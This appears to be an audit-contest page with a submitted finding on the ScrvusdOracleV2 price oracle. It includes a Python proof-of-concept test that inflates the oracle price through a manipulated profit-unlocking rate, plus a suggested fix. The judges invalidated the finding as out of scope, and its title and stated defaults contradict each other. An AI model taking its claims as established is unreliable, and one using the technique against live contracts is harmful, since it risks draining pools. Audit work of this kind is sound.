DeFiLayer 1Layer 2
14,723 OP
View results
Submission Details
Severity: medium
Invalid

Access Control Issues Allow Oracle Spamming

Summary

The V2 price approximation model in ScrvusdOracleV2.vy allows unbounded price growth by simulating rewards over an excessive number of periods (max_v2_duration). This can lead to unrealistic price increases if the profit_unlocking_rate is manipulated, enabling attackers to artificially inflate the oracle price and destabilize dependent systems.

Vulnerability Details

The _obtain_price_params function simulates rewards over up to max_v2_duration periods (default: 192) without validating the total accumulated gain. A malicious prover can submit parameters with a high profit_unlocking_rate, causing the price to grow exponentially over these periods.

If profit_unlocking_rate or max_v2_duration is set too high, the loop calculates exponential growth, leading to unrealistic prices.

Add this function to tests/scrvusd/oracle/unitary/test_v2.py:

def test_unbounded_price_growth_v2_approximation(soracle, verifier, admin):
"""
Test to demonstrate the vulnerability where price can grow unboundedly
in V2 approximation due to lack of total gain validation.
"""
ts_initial = boa.env.evm.patch.timestamp
block_num = 100
# First, set a longer max_v2_duration to better demonstrate the vulnerability
with boa.env.prank(admin):
soracle.set_max_v2_duration(48) # Double the default (24) for more dramatic effect
# Create initial parameters with profit unlocking setup - with much lower rates to avoid underflow
initial_params = [
10000, # total_debt
0, # total_idle
10000, # total_supply
ts_initial + 30 * 86400, # full_profit_unlock_date (30 days in future)
10**10, # profit_unlocking_rate (significantly reduced to avoid underflow)
ts_initial, # last_profit_update (set to current time to avoid accumulated unlocking)
0, # balance_of_self
]
# Update price with initial parameters
with boa.env.prank(verifier):
soracle.update_price(initial_params, ts_initial, block_num)
initial_price = soracle.raw_price()
print(f"Initial price: {initial_price}")
# We'll perform updates with increasing profit rates
profit_max_unlock_time = soracle.profit_max_unlock_time()
# First update - time travel a shorter period
boa.env.time_travel(profit_max_unlock_time // 4)
ts1 = boa.env.evm.patch.timestamp
# Update with slightly higher profit rate
update1_params = initial_params.copy()
update1_params[4] = 5 * 10**10 # 5x the initial rate
update1_params[5] = ts_initial # Keep last_profit_update the same
with boa.env.prank(verifier):
soracle.update_price(update1_params, ts1, block_num + 1)
price1 = soracle.raw_price()
print(f"Price after first update: {price1}")
# Calculate the expected reasonable growth for the time period
time_elapsed = ts1 - ts_initial
# Even at a very high APR of 100%, price shouldn't grow more than ~2x in a year
# For the short period we time traveled (a week/4 ≈ 2 days), the growth should be minimal
reasonable_growth_factor = 2.0 # 100% APR
reasonable_max_price = initial_price * (1 + (reasonable_growth_factor - 1) * (time_elapsed / (365 * 86400)))
# Print analysis
print(f"Time elapsed: {time_elapsed} seconds (about {time_elapsed/(24*3600):.2f} days)")
print(f"Initial price: {initial_price}")
print(f"Price after update: {price1}")
print(f"Growth factor: {price1 / initial_price}x")
print(f"Reasonable max price: {reasonable_max_price}")
print(f"Reasonable growth factor: {reasonable_max_price / initial_price}x")
# The vulnerability is confirmed if the price grows much faster than reasonable
if price1 > reasonable_max_price * 2:
print("VULNERABILITY CONFIRMED: Price grows at an unreasonable rate")
print(f"Excess growth factor: {price1 / reasonable_max_price}x")
# Vulnerability is already demonstrated with the extreme price growth
assert True, "Vulnerability demonstrated with extreme price growth"
else:
assert False, "Expected price to grow at an unreasonable rate due to unbounded gains"

POC Output Analysis: The test output confirms the issue:

tests/scrvusd/oracle/unitary/test_v2.py ....Initial price: 1000000000000000000
Price after first update: 4098360655737704918
Time elapsed: 151200 seconds (about 1.75 days)
Initial price: 1000000000000000000
Price after update: 4098360655737704918
Growth factor: 4.098360655737705x
Reasonable max price: 1.0047945205479452e+18
Reasonable growth factor: 1.0047945205479452x
VULNERABILITY CONFIRMED: Price grows at an unreasonable rate
Excess growth factor: 4.078804742588309x

Impact

Oracle Manipulation: Artificially inflated prices enable attackers to drain liquidity from stableswap pools.

System Collapse: Loss of trust in the oracle’s reliability could destabilize the entire ecosystem.

Tools Used

Recommendations

Add Gain Validation: Cap the total simulated gain in update_price:

@external
def update_price(...):
# ...
new_price: uint256 = self._raw_price(_ts, _ts)
assert new_price <= self.last_prices[2] * 2, "Price growth exceeds 100%"
Updates

Lead Judging Commences

0xnevi Lead Judge
6 months ago
0xnevi Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.